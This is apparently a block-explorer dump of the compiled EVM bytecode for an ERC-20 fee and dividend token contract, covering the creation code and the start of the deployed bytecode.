5250810190620002eb9190620005ad565b600980546001600160a01b038581166001600160a01b031992831617909255600a80548484169216919091178155305f818152600760209081526040808320805460ff1990811660019081179092553380865283862080548316841781557f5f120788752b690ba0adb18be6f27eeff1d84162f1b525af697e17c13a510ddd8054841685179055805483168417905596549097168452600683528184208054881682179055858452818420805488168217905593835280832080548716851790557f1aecba4ebe7a4e0673e4891b2b092b2228e4322380b579fb494fad3da8586e2280548716851790557f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f88054909616841790955591548382526005835284822081905593519384529394509092917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050620005d5565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620004a157815f19048211156200048557620004856200044d565b808516156200049357918102915b93841c939080029062000466565b509250929050565b5f82620004b95750600162000556565b81620004c757505f62000556565b8160018114620004e05760028114620004eb576200050b565b600191505062000556565b60ff841115620004ff57620004ff6200044d565b50506001821b62000556565b5060208310610133831016604e8410600b841016171562000530575081810a62000556565b6200053c838362000461565b805f19048211156200055257620005526200044d565b0290505b92915050565b5f6200056c60ff841683620004a9565b9392505050565b80820281158282048414176200055657620005566200044d565b5f82620005a857634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215620005be575f80fd5b81516001600160a01b03811681146200056c575f80fd5b612b0380620005e35f395ff3fe60806040526004361061024c575f3560e01c806377369b8011610134578063a9059cbb116100b3578063ce7c2ac211610078578063ce7c2ac2146106e8578063d469801614610462578063d9dccd0f1461073d578063dd62ed3e1461075c578063efca2eed146107a0578063f2fde38b146107b5575f80fd5b8063a9059cbb14610650578063aa52b08c1461066f578063be3bd1371461068e578063c04a5414146106ad578063c4c6f3dc146106d4575f80fd5b806395d89b41116100f957806395d89b4114610599578063997664d7146105c6578063a1db9782146105db578063a3fa6d66146105fa578063a8aa1b3114610631575f80fd5b806377369b80146104fd578063812963d31461052b57806386757e461461054a578063893d20e8146105695780639358928b14610585575f80fd5b80633a98ef39116101cb57806352038fce1161019057806352038fce146104435780635dfbe1571461046257806360e71962146104a157806362256589146104b657806370a08231146104ca578063715018a6146104e9575f80fd5b80633a98ef39146103b75780633f4218e0146103cc578063404f21a7146103fa5780634fab0ae81461040f578063510a121c14610424575f80fd5b806323b872dd1161021157806323b872dd1461031d5780632f54bf6e1461033c57806330efbb4914610369578063313ce5671461038857806336a3c629146103a3575f80fd5b806306fdde0314610257578063095ea7b31461029b5780631605952a146102ca57806318160ddd146102eb5780631f73478714610309575f80fd5b3661025357005b5f80fd5b348015610262575f80fd5b5060408051808201909152600a8152692a3930b232ac1023bab760b11b60208201525b60405161029291906126a1565b60405180910390f35b3480156102a6575f80fd5b506102ba6102b5366004612704565b6107d4565b6040519015158152602001610292565b3480156102d5575f80fd5b506102e96102e436600461273b565b6107ea565b005b3480156102f6575f80fd5b506001545b604051908152602001610292565b348015610314575f80fd5b506102e9610868565b348015610328575f80fd5b506102ba610337366004612772565b6108bb565b348015610347575f80fd5b506102ba6103563660046127b0565b5f546001600160a01b0391821691161490565b348015610374575f80fd5b506102e96103833660046127cb565b610923565b348015610393575f80fd5b5060405160098152602001610292565b3480156103ae575f80fd5b506102e96109a9565b3480156103c2575f80fd5b506102fb60195481565b3480156103d7575f80fd5b506102ba6103e63660046127b0565b60076020525f908152604090205460ff1681565b348015610405575f80fd5b506102fb60235481565b34801561041a575f80fd5b506102fb60245481565b34801561042f575f80fd5b506102e961043e3660046127e2565b6109e7565b34801561044e575f80fd5b506102e961045d366004612832565b610aec565b34801561046d575f80fd5b5061048973bf3855f74c172f25cd3b12f77060e347eaacd3a081565b6040516001600160a01b039091168152602001610292565b3480156104ac575f80fd5b506102fb60255481565b3480156104c1575f80fd5b506102e9610b23565b3480156104d5575f80fd5b506102fb6104e43660046127b0565b610b5e565b3480156104f4575f80fd5b506102e9610b78565b348015610508575f80fd5b506102ba6105173660046127b0565b60066020525f908152604090205460ff1681565b348015610536575f80fd5b506102e961054536600461285b565b610be5565b348015610555575f80fd5b506102e9610564366004612832565b610e5d565b348015610574575f80fd5b505f546001600160a01b0316610489565b348015610590575f80fd5b506102fb610fac565b3480156105a4575f80fd5b506040805180820190915260058152642a2c23aaa760d91b6020820152610285565b3480156105d1575f80fd5b506102fb601a5481565b3480156105e6575f80fd5b506102e96105f5366004612704565b610fdb565b348015610605575f80fd5b506102fb6106143660046127b0565b6001600160a01b03165f9081526021602052604090206002015490565b34801561063c575f80fd5b50600a54610489906001600160a01b031681565b34801561065b575f80fd5b506102ba61066a366004612704565b611077565b34801561067a575f80fd5b506102fb6106893660046127b0565b611083565b348015610699575f80fd5b506102e96106a836600461273b565b611109565b3480156106b8575f80fd5b506104897358f932256d1c0d88785d6c0991e432dcaf326e8f81565b3480156106df575f80fd5b506102e961115c565b3480156106f3575f80fd5b506107226107023660046127b0565b60216020525f908152604090208054600182015460029092015490919083565b60408051938452602084019290925290820152606001610292565b348015610748575f80fd5b50601854610489906001600160a01b031681565b348015610767575f80fd5b506102fb61077636600461287f565b6001600160a01b039182165f90815260086020908152604080832093909416825291909152205490565b3480156107ab575f80fd5b506102fb601b5481565b3480156107c0575f80fd5b506102e96107cf3660046127b0565b611167565b5f6107e03384846111e3565b5060015b92915050565b5f546001600160a01b0316331461081c5760405162461bcd60e51b8152600401610813906128ab565b60405180910390fd5b6001600160a01b0382165f908152600660205260409020805460ff1916821580159190911790915561085657610852825f611306565b5050565b6108528261086384610b5e565b611306565b5f546001600160a01b031633146108915760405162461bcd60e51b8152600401610813906128ab565b60c8600c556064600b819055600d555f600e819055600f8190556101906010819055601155601255565b5f6108c7848484611439565b610918843361091385604051806060016040528060288152602001612aa6602891396001600160a01b038a165f90815260086020908152604080832033845290915290205491906115d8565b6111e3565b5060015b9392505050565b60185460405163a9059cbb60e01b815273bf3855f74c172f25cd3b12f77060e347eaacd3a06004820152602481018390526001600160a01b039091169063a9059cbb906044016020604051808303815f875af1158015610985573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061085291906128cb565b5f546001600160a01b031633146109d25760405162461bcd60e51b8152600401610813906128ab565b600a805460ff60a01b1916600160a01b179055565b5f546001600160a01b03163314610a105760405162461bcd60e51b8152600401610813906128ab565b600e889055600c879055600f869055600d859055600b849055601083905560118290556012819055601354610a46906005611603565b60105411158015610a665750601354610a60906005611603565b60115411155b8015610a815750601354610a7b906005611603565b60125411155b610ae25760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b6064820152608401610813565b5050505050505050565b5f546001600160a01b03163314610b155760405162461bcd60e51b8152600401610813906128ab565b602392909255602455602555565b5f546001600160a01b03163314610b4c5760405162461bcd60e51b8152600401610813906128ab565b60015460038190556004819055600255565b6001600160a01b03165f9081526005602052604090205490565b5f546001600160a01b03163314610ba15760405162461bcd60e51b8152600401610813906128ab565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b601e54335f829003610bf8575050505050565b5f805a335f908152600560209081526040808320546006909252822054929350909160ff16610cf0575b8884108015610c3057508582105b15610ceb578560225410610c43575f6022555b610c74601e60225481548110610c5b57610c5b6128e6565b5f918252602090912001546001600160a01b031661160e565b15610caa57610caa601e60225481548110610c9157610c916128e6565b5f918252602090912001546001600160a01b0316611651565b610cbf610cb85a8590611762565b859061176d565b93505a602280549194505f610cd38361290e565b91905055508180610ce39061290e565b925050610c22565b610e52565b5f610cfa86611083565b6001600160a01b038a165f90815260056020526040902054909150610d1f9089611762565b6001600160a01b038a165f90815260056020526040902055610d418883612926565b335f908152600560205260409020558015610e5057601b54610d63908261176d565b601b5560185460405163a9059cbb60e01b81526001600160a01b038881166004830152602482018490529091169063a9059cbb906044016020604051808303815f875af1158015610db6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dda91906128cb565b506001600160a01b0386165f908152602080805260408083204290556021909152902060020154610e0b908261176d565b6001600160a01b0387165f908152602160205260409020600281019190915554610e3490611778565b6001600160a01b0387165f908152602160205260409020600101555b505b505050505050505050565b5f546001600160a01b03163314610e865760405162461bcd60e51b8152600401610813906128ab565b5f61271084610e9460015490565b610e9e9190612939565b610ea89190612950565b90505f61271084610eb860015490565b610ec29190612939565b610ecc9190612950565b90505f61271084610edc60015490565b610ee69190612939565b610ef09190612950565b60038490556004839055600281905590505f610f226103e8610f1c6005610f1660015490565b90611794565b90611603565b9050808410158015610f345750808310155b8015610f405750808210155b610fa35760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b6064820152608401610813565b50505050505050565b5f610fd6610fb95f610b5e565b610fd0610fc761dead610b5e565b60015490611762565b90611762565b905090565b5f546001600160a01b031633146110045760405162461bcd60e51b8152600401610813906128ab565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303815f875af115801561104e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061107291906128cb565b505050565b5f6107e0338484611439565b6001600160a01b0381165f9081526021602052604081205481036110a857505f919050565b6001600160a01b0382165f908152602160205260408120546110c990611778565b6001600160a01b0384165f908152602160205260409020600101549091508082116110f757505f9392505050565b6111018282611762565b949350505050565b5f546001600160a01b031633146111325760405162461bcd60e51b8152600401610813906128ab565b6001600160a01b03919091165f908152600760205260409020805460ff1916911515919091179055565b61116533611651565b565b5f546001600160a01b031633146111905760405162461bcd60e51b8152600401610813906128ab565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166112455760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610813565b6001600160a01b0382166112a65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610813565b6001600160a01b038381165f8181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f8111801561132a57506001600160a01b0382165f90815260216020526040902054155b1561138f57601e80546001600160a01b0384165f818152601f60205260408120839055600183018455929092527f50bb669a95c7b50b7e8a6f09454034b2b14cf2b85c730dca9a539ca82cb6e3500180546001600160a01b03191690911790556113c1565b801580156113b357506001600160a01b0382165f9081526021602052604090205415155b156113c1576113c18261179f565b6001600160a01b0382165f908152602160205260409020546019546113f19183916113eb91611762565b9061176d565b6019556001600160a01b0382165f90815260216020526040902081905561141781611778565b6001600160a01b039092165f9081526021602052604090206001019190915550565b6114448383836118af565b61144e8383611a48565b611459838383611ad7565b6114638383611bc0565b61146e838383611c15565b6114788383611d3e565b6001600160a01b0383165f9081526005602052604090205461149a9082611762565b6001600160a01b0384165f908152600560205260408120919091556114bf8484611d60565b6114c957816114d4565b6114d4848484611da4565b6001600160a01b0384165f908152600560205260409020549091506114f9908261176d565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061154c9085815260200190565b60405180910390a36001600160a01b0384165f9081526006602052604090205460ff16611580576115808461086386610b5e565b6001600160a01b0383165f9081526006602052604090205460ff166115ac576115ac8361086385610b5e565b6001600160a01b0383165f90815260216020526040902054156115d2576115d283611651565b50505050565b5f81848411156115fb5760405162461bcd60e51b815260040161081391906126a1565b505050900390565b5f61091c8284612950565b6023546001600160a01b0382165f908152602080526040812054909142916116369190612926565b1080156107e4575060245461164a83611083565b1192915050565b6001600160a01b0381165f9081526021602052604081205490036116725750565b5f61167c82611083565b9050801561085257601b54611691908261176d565b601b5560185460405163a9059cbb60e01b81526001600160a01b038481166004830152602482018490529091169063a9059cbb906044016020604051808303815f875af11580156116e4573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061170891906128cb565b506001600160a01b0382165f908152602080805260408083204290556021909152902060020154611739908261176d565b6001600160a01b0383165f90815260216020526040902060028101919091555461141790611778565b5f61091c828461296f565b5f61091c8284612926565b5f6107e4601d54610f1c601c548561179490919063ffffffff16565b5f61091c8284612939565b601e80546117af9060019061296f565b815481106117bf576117bf6128e6565b5f9182526020808320909101546001600160a01b038481168452601f909252604090922054601e805492909316929181106117fc576117fc6128e6565b5f91825260208083209190910180546001600160a01b0319166001600160a01b039485161790559183168152601f918290526040812054601e8054919392916118479060019061296f565b81548110611857576118576128e6565b5f9182526020808320909101546001600160a01b03168352820192909252604001902055601e80548061188c5761188c612982565b5f8281526020902081015f1990810180546001600160a01b031916905501905550565b6001600160a01b0383166119135760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610813565b6001600160a01b0382166119755760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610813565b5f81116119d65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610813565b6119df83610b5e565b8111156110725760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610813565b6001600160a01b0382165f9081526007602052604090205460ff16158015611a8857506001600160a01b0381165f9081526007602052604090205460ff16155b1561085257600a54600160a01b900460ff166108525760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b6044820152606401610813565b6001600160a01b0383165f9081526007602052604090205460ff16158015611b1757506001600160a01b0382165f9081526007602052604090205460ff16155b8015611b315750600a546001600160a01b03838116911614155b8015611b4857506001600160a01b03821661dead14155b15611072576002546001600160a01b0383165f90815260056020526040902054611b72908361176d565b11156110725760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610813565b600a546001600160a01b038281169116148015611bf557506001600160a01b0382165f9081526007602052604090205460ff16155b1561085257600160175f828254611c0c9190612926565b90915550505050565b600a546001600160a01b03848116911614611cb45760045481111580611c5257506001600160a01b0383165f9081526007602052604090205460ff165b80611c7457506001600160a01b0382165f9081526007602052604090205460ff165b611cb45760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610813565b60035481111580611cdc57506001600160a01b0383165f9081526007602052604090205460ff165b80611cfe57506001600160a01b0382165f9081526007602052604090205460ff165b6110725760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610813565b611d488282611e8e565b1561085257611d58601554611f41565b5f6017555050565b6001600160a01b0382165f9081526007602052604081205460ff1615801561091c5750506001600160a01b03165f9081526007602052604090205460ff1615919050565b5f80611db085856120e8565b1115611e87575f611dd2611dc486866120e8565b601354610f16908690611603565b305f90815260056020526040902054909150611dee908261176d565b305f81815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611e3e9085815260200190565b60405180910390a3600f5415611e7557611e753061dead611e70600f54610f166013548961160390919063ffffffff16565b611439565b611e7f8382611762565b91505061091c565b5092915050565b5f80601554611e9c30610b5e565b6018549111159150600160a01b900460ff16158015611ebd575060145460ff165b8015611ed25750600a54600160a01b900460ff165b8015611ef657506001600160a01b0384165f9081526007602052604090205460ff16155b8015611f1a57506001600160a01b0383165f9081526007602052604090205460ff16155b8015611f335750600a546001600160a01b038481169116145b801561110157509392505050565b6018805460ff60a01b1916600160a01b179055600d54600b54600c54600e545f93611f7d93600293610f16936113eb929183918290600161176d565b90505f611f9982610f1c600e548661179490919063ffffffff16565b90505f611fa68483611762565b905047611fb282612132565b5f611fbd4783611762565b90505f611fdf611fd8600e548861176290919063ffffffff16565b8390611603565b90505f611ff7600e548361179490919063ffffffff16565b90508015612009576120098682612282565b600c545f9061201d90610f16856002611794565b905080156120655760405173bf3855f74c172f25cd3b12f77060e347eaacd3a09082156108fc029083905f818181858888f19350505050158015612063573d5f803e3d5ffd5b505b600d545f9061207990610f16866002611794565b9050801561208a5761208a81612343565b47156120cf576040517358f932256d1c0d88785d6c0991e432dcaf326e8f904780156108fc02915f818181858888f193505050501580156120cd573d5f803e3d5ffd5b505b50506018805460ff60a01b191690555050505050505050565b600a545f906001600160a01b039081169083160361210957506011546107e4565b600a546001600160a01b039081169084160361212857506010546107e4565b5060125492915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110612165576121656128e6565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156121bc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906121e09190612996565b816001815181106121f3576121f36128e6565b6001600160a01b03928316602091820292909201015260095461221991309116846111e3565b60095460405163791ac94760e01b81526001600160a01b039091169063791ac947906122519085905f908690309042906004016129f4565b5f604051808303815f87803b158015612268575f80fd5b505af115801561227a573d5f803e3d5ffd5b505050505050565b60095461229a9030906001600160a01b0316846111e3565b60095460405163f305d71960e01b8152306004820152602481018490525f60448201819052606482015273bf3855f74c172f25cd3b12f77060e347eaacd3a060848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015612317573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061233c9190612a2f565b5050505050565b6018546040516370a0823160e01b81523060048201525f916001600160a01b0316906370a0823190602401602060405180830381865afa158015612389573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906123ad9190612a5a565b6040805160028082526060820183529293505f9290916020830190803683375050600954604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015612419573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061243d9190612996565b815f8151811061244f5761244f6128e6565b6001600160a01b039283166020918202929092010152601854825191169082906001908110612480576124806128e6565b6001600160a01b03928316602091820292909201015260095460405163b6f9de9560e01b815291169063b6f9de959085906124c5905f90869030904290600401612a71565b5f604051808303818588803b1580156124dc575f80fd5b505af11580156124ee573d5f803e3d5ffd5b5050601854600a546040516370a0823160e01b81526001600160a01b0391821660048201525f9550911692506370a082319150602401602060405180830381865afa15801561253f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906125639190612a5a565b6018546040516370a0823160e01b81523060048201529192505f916001600160a01b03909116906370a0823190602401602060405180830381865afa1580156125ae573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906125d29190612a5a565b90505f6125df8286611762565b90505f6126596125ef848661176d565b6018546040516370a0823160e01b81523060048201526001600160a01b03909116906370a0823190602401602060405180830381865afa158015612635573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fd09190612a5a565b9050612671612668838361176d565b601a549061176d565b601a55601954601d546126959161268c91610f1c9086611794565b601c549061176d565b601c5550505050505050565b5f602080835283518060208501525f5b818110156126cd578581018301518582016040015282016126b1565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114612701575f80fd5b50565b5f8060408385031215612715575f80fd5b8235612720816126ed565b946020939093013593505050565b8015158114612701575f80fd5b5f806040838503121561274c575f80fd5b8235612757816126ed565b915060208301356127678161272e565b809150509250929050565b5f805f60608486031215612784575f80fd5b833561278f816126ed565b9250602084013561279f816126ed565b929592945050506040919091013590565b5f602082840312156127c0575f80fd5b813561091c816126ed565b5f602082840312156127db575f80fd5b5035919050565b5f805f805f805f80610100898b0312156127fa575f80fd5b505086359860208801359850604088013597606081013597506080810135965060a0810135955060c0810135945060e0013592509050565b5f805f60608486031215612844575f80fd5b505081359360208301359350604090920135919050565b5f805f6060848603121561286d575f80fd5b83359250602084013561279f816126ed565b5f8060408385031215612890575f80fd5b823561289b816126ed565b91506020830135612767816126ed565b60208082526006908201526510a7aba722a960d11b604082015260600190565b5f602082840312156128db575f80fd5b815161091c8161272e565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f6001820161291f5761291f6128fa565b5060010190565b808201808211156107e4576107e46128fa565b80820281158282048414176107e4576107e46128fa565b5f8261296a57634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156107e4576107e46128fa565b634e487b7160e01b5f52603160045260245ffd5b5f602082840312156129a6575f80fd5b815161091c816126ed565b5f815180845260208085019450602084015f5b838110156129e95781516001600160a01b0316875295820195908201906001016129c4565b509495945050505050565b85815284602082015260a060408201525f612a1260a08301866129b1565b6001600160a01b0394909416606083015250608001529392505050565b5f805f60608486031215612a41575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215612a6a575f80fd5b5051919050565b848152608060208201525f612a8960808301866129b1565b6001600160a01b0394909416604083015250606001529291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122041f4ac223cbbda114b7663fa8d1313a6b47215736543aa21a5d89a9d7cdf660864736f6c63430008170033

Deployed Bytecode

0x60806040526004361061024c575f3560e01c806377369b8011610134578063a9059cbb116100b3578063ce7c2ac211610078578063ce7c2ac2146106e8578063d469801614610462578063d9dccd0f1461073d578063dd62ed3e1461075c578063efca2eed146107a0578063f2fde38b146107b5575f80fd5b8063a9059cbb14610650578063aa52b08c1461066f578063be3bd1371461068e578063c04a5414146106ad578063c4c6f3dc146106d4575f80fd5b806395d89b41116100f957806395d89b4114610599578063997664d7146105c6578063a1db9782146105db578063a3fa6d66146105fa578063a8aa1b3114610631575f80fd5b806377369b80146104fd578063812963d31461052b57806386757e461461054a578063893d20e8146105695780639358928b14610585575f80fd5b80633a98ef39116101cb57806352038fce1161019057806352038fce146104435780635dfbe1571461046257806360e71962146104a157806362256589146104b657806370a08231146104ca578063715018a6146104e9575f80fd5b80633a98ef39146103b75780633f4218e0146103cc578063404f21a7146103fa5780634fab0ae81461040f578063510a121c14610424575f80fd5b806323b872dd1161021157806323b872dd1461031d5780632f54bf6e1461033c57806330efbb4914610369578063313ce5671461038857806336a3c629146103a3575f80fd5b806306fdde0314610257578063095ea7b31461029b5780631605952a146102ca57806318160ddd146102eb5780631f73478714610309575f80fd5b3661025357005b5f80fd5b348015610262575f80fd5b5060408051808201909152600a8152692a3930b232ac1023bab760b11b60208201525b60405161029291906126a1565b60405180910390f35b3480156102a6575f80fd5b506102ba6102b5366004612704565b6107d4565b6040519015158152602001610292565b3480156102d5575f80fd5b506102e96102e436600461273b565b6107ea565b005b3480156102f6575f80fd5b506001545b604051908152602001610292565b348015610314575f80fd5b506102e9610868565b348015610328575f80fd5b506102ba610337366004612772565b6108bb565b348015610347575f80fd5b506102ba6103563660046127b0565b5f546001600160a01b0391821691161490565b348015610374575f80fd5b506102e96103833660046127cb565b610923565b348015610393575f80fd5b5060405160098152602001610292565b3480156103ae575f80fd5b506102e96109a9565b3480156103c2575f80fd5b506102fb60195481565b3480156103d7575f80fd5b506102ba6103e63660046127b0565b60076020525f908152604090205460ff1681565b348015610405575f80fd5b506102fb60235481565b34801561041a575f80fd5b506102fb60245481565b34801561042f575f80fd5b506102e961043e3660046127e2565b6109e7565b34801561044e575f80fd5b506102e961045d366004612832565b610aec565b34801561046d575f80fd5b5061048973bf3855f74c172f25cd3b12f77060e347eaacd3a081565b6040516001600160a01b039091168152602001610292565b3480156104ac575f80fd5b506102fb60255481565b3480156104c1575f80fd5b506102e9610b23565b3480156104d5575f80fd5b506102fb6104e43660046127b0565b610b5e565b3480156104f4575f80fd5b506102e9610b78565b348015610508575f80fd5b506102ba6105173660046127b0565b60066020525f908152604090205460ff1681565b348015610536575f80fd5b506102e961054536600461285b565b610be5565b348015610555575f80fd5b506102e9610564366004612832565b610e5d565b348015610574575f80fd5b505f546001600160a01b0316610489565b348015610590575f80fd5b506102fb610fac565b3480156105a4575f80fd5b506040805180820190915260058152642a2c23aaa760d91b6020820152610285565b3480156105d1575f80fd5b506102fb601a5481565b3480156105e6575f80fd5b506102e96105f5366004612704565b610fdb565b348015610605575f80fd5b506102fb6106143660046127b0565b6001600160a01b03165f9081526021602052604090206002015490565b34801561063c575f80fd5b50600a54610489906001600160a01b031681565b34801561065b575f80fd5b506102ba61066a366004612704565b611077565b34801561067a575f80fd5b506102fb6106893660046127b0565b611083565b348015610699575f80fd5b506102e96106a836600461273b565b611109565b3480156106b8575f80fd5b506104897358f932256d1c0d88785d6c0991e432dcaf326e8f81565b3480156106df575f80fd5b506102e961115c565b3480156106f3575f80fd5b506107226107023660046127b0565b60216020525f908152604090208054600182015460029092015490919083565b60408051938452602084019290925290820152606001610292565b348015610748575f80fd5b50601854610489906001600160a01b031681565b348015610767575f80fd5b506102fb61077636600461287f565b6001600160a01b039182165f90815260086020908152604080832093909416825291909152205490565b3480156107ab575f80fd5b506102fb601b5481565b3480156107c0575f80fd5b506102e96107cf3660046127b0565b611167565b5f6107e03384846111e3565b5060015b92915050565b5f546001600160a01b0316331461081c5760405162461bcd60e51b8152600401610813906128ab565b60405180910390fd5b6001600160a01b0382165f908152600660205260409020805460ff1916821580159190911790915561085657610852825f611306565b5050565b6108528261086384610b5e565b611306565b5f546001600160a01b031633146108915760405162461bcd60e51b8152600401610813906128ab565b60c8600c556064600b819055600d555f600e819055600f8190556101906010819055601155601255565b5f6108c7848484611439565b610918843361091385604051806060016040528060288152602001612aa6602891396001600160a01b038a165f90815260086020908152604080832033845290915290205491906115d8565b6111e3565b5060015b9392505050565b60185460405163a9059cbb60e01b815273bf3855f74c172f25cd3b12f77060e347eaacd3a06004820152602481018390526001600160a01b039091169063a9059cbb906044016020604051808303815f875af1158015610985573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061085291906128cb565b5f546001600160a01b031633146109d25760405162461bcd60e51b8152600401610813906128ab565b600a805460ff60a01b1916600160a01b179055565b5f546001600160a01b03163314610a105760405162461bcd60e51b8152600401610813906128ab565b600e889055600c879055600f869055600d859055600b849055601083905560118290556012819055601354610a46906005611603565b60105411158015610a665750601354610a60906005611603565b60115411155b8015610a815750601354610a7b906005611603565b60125411155b610ae25760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b6064820152608401610813565b5050505050505050565b5f546001600160a01b03163314610b155760405162461bcd60e51b8152600401610813906128ab565b602392909255602455602555565b5f546001600160a01b03163314610b4c5760405162461bcd60e51b8152600401610813906128ab565b60015460038190556004819055600255565b6001600160a01b03165f9081526005602052604090205490565b5f546001600160a01b03163314610ba15760405162461bcd60e51b8152600401610813906128ab565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b601e54335f829003610bf8575050505050565b5f805a335f908152600560209081526040808320546006909252822054929350909160ff16610cf0575b8884108015610c3057508582105b15610ceb578560225410610c43575f6022555b610c74601e60225481548110610c5b57610c5b6128e6565b5f918252602090912001546001600160a01b031661160e565b15610caa57610caa601e60225481548110610c9157610c916128e6565b5f918252602090912001546001600160a01b0316611651565b610cbf610cb85a8590611762565b859061176d565b93505a602280549194505f610cd38361290e565b91905055508180610ce39061290e565b925050610c22565b610e52565b5f610cfa86611083565b6001600160a01b038a165f90815260056020526040902054909150610d1f9089611762565b6001600160a01b038a165f90815260056020526040902055610d418883612926565b335f908152600560205260409020558015610e5057601b54610d63908261176d565b601b5560185460405163a9059cbb60e01b81526001600160a01b038881166004830152602482018490529091169063a9059cbb906044016020604051808303815f875af1158015610db6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dda91906128cb565b506001600160a01b0386165f908152602080805260408083204290556021909152902060020154610e0b908261176d565b6001600160a01b0387165f908152602160205260409020600281019190915554610e3490611778565b6001600160a01b0387165f908152602160205260409020600101555b505b505050505050505050565b5f546001600160a01b03163314610e865760405162461bcd60e51b8152600401610813906128ab565b5f61271084610e9460015490565b610e9e9190612939565b610ea89190612950565b90505f61271084610eb860015490565b610ec29190612939565b610ecc9190612950565b90505f61271084610edc60015490565b610ee69190612939565b610ef09190612950565b60038490556004839055600281905590505f610f226103e8610f1c6005610f1660015490565b90611794565b90611603565b9050808410158015610f345750808310155b8015610f405750808210155b610fa35760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b6064820152608401610813565b50505050505050565b5f610fd6610fb95f610b5e565b610fd0610fc761dead610b5e565b60015490611762565b90611762565b905090565b5f546001600160a01b031633146110045760405162461bcd60e51b8152600401610813906128ab565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303815f875af115801561104e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061107291906128cb565b505050565b5f6107e0338484611439565b6001600160a01b0381165f9081526021602052604081205481036110a857505f919050565b6001600160a01b0382165f908152602160205260408120546110c990611778565b6001600160a01b0384165f908152602160205260409020600101549091508082116110f757505f9392505050565b6111018282611762565b949350505050565b5f546001600160a01b031633146111325760405162461bcd60e51b8152600401610813906128ab565b6001600160a01b03919091165f908152600760205260409020805460ff1916911515919091179055565b61116533611651565b565b5f546001600160a01b031633146111905760405162461bcd60e51b8152600401610813906128ab565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166112455760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610813565b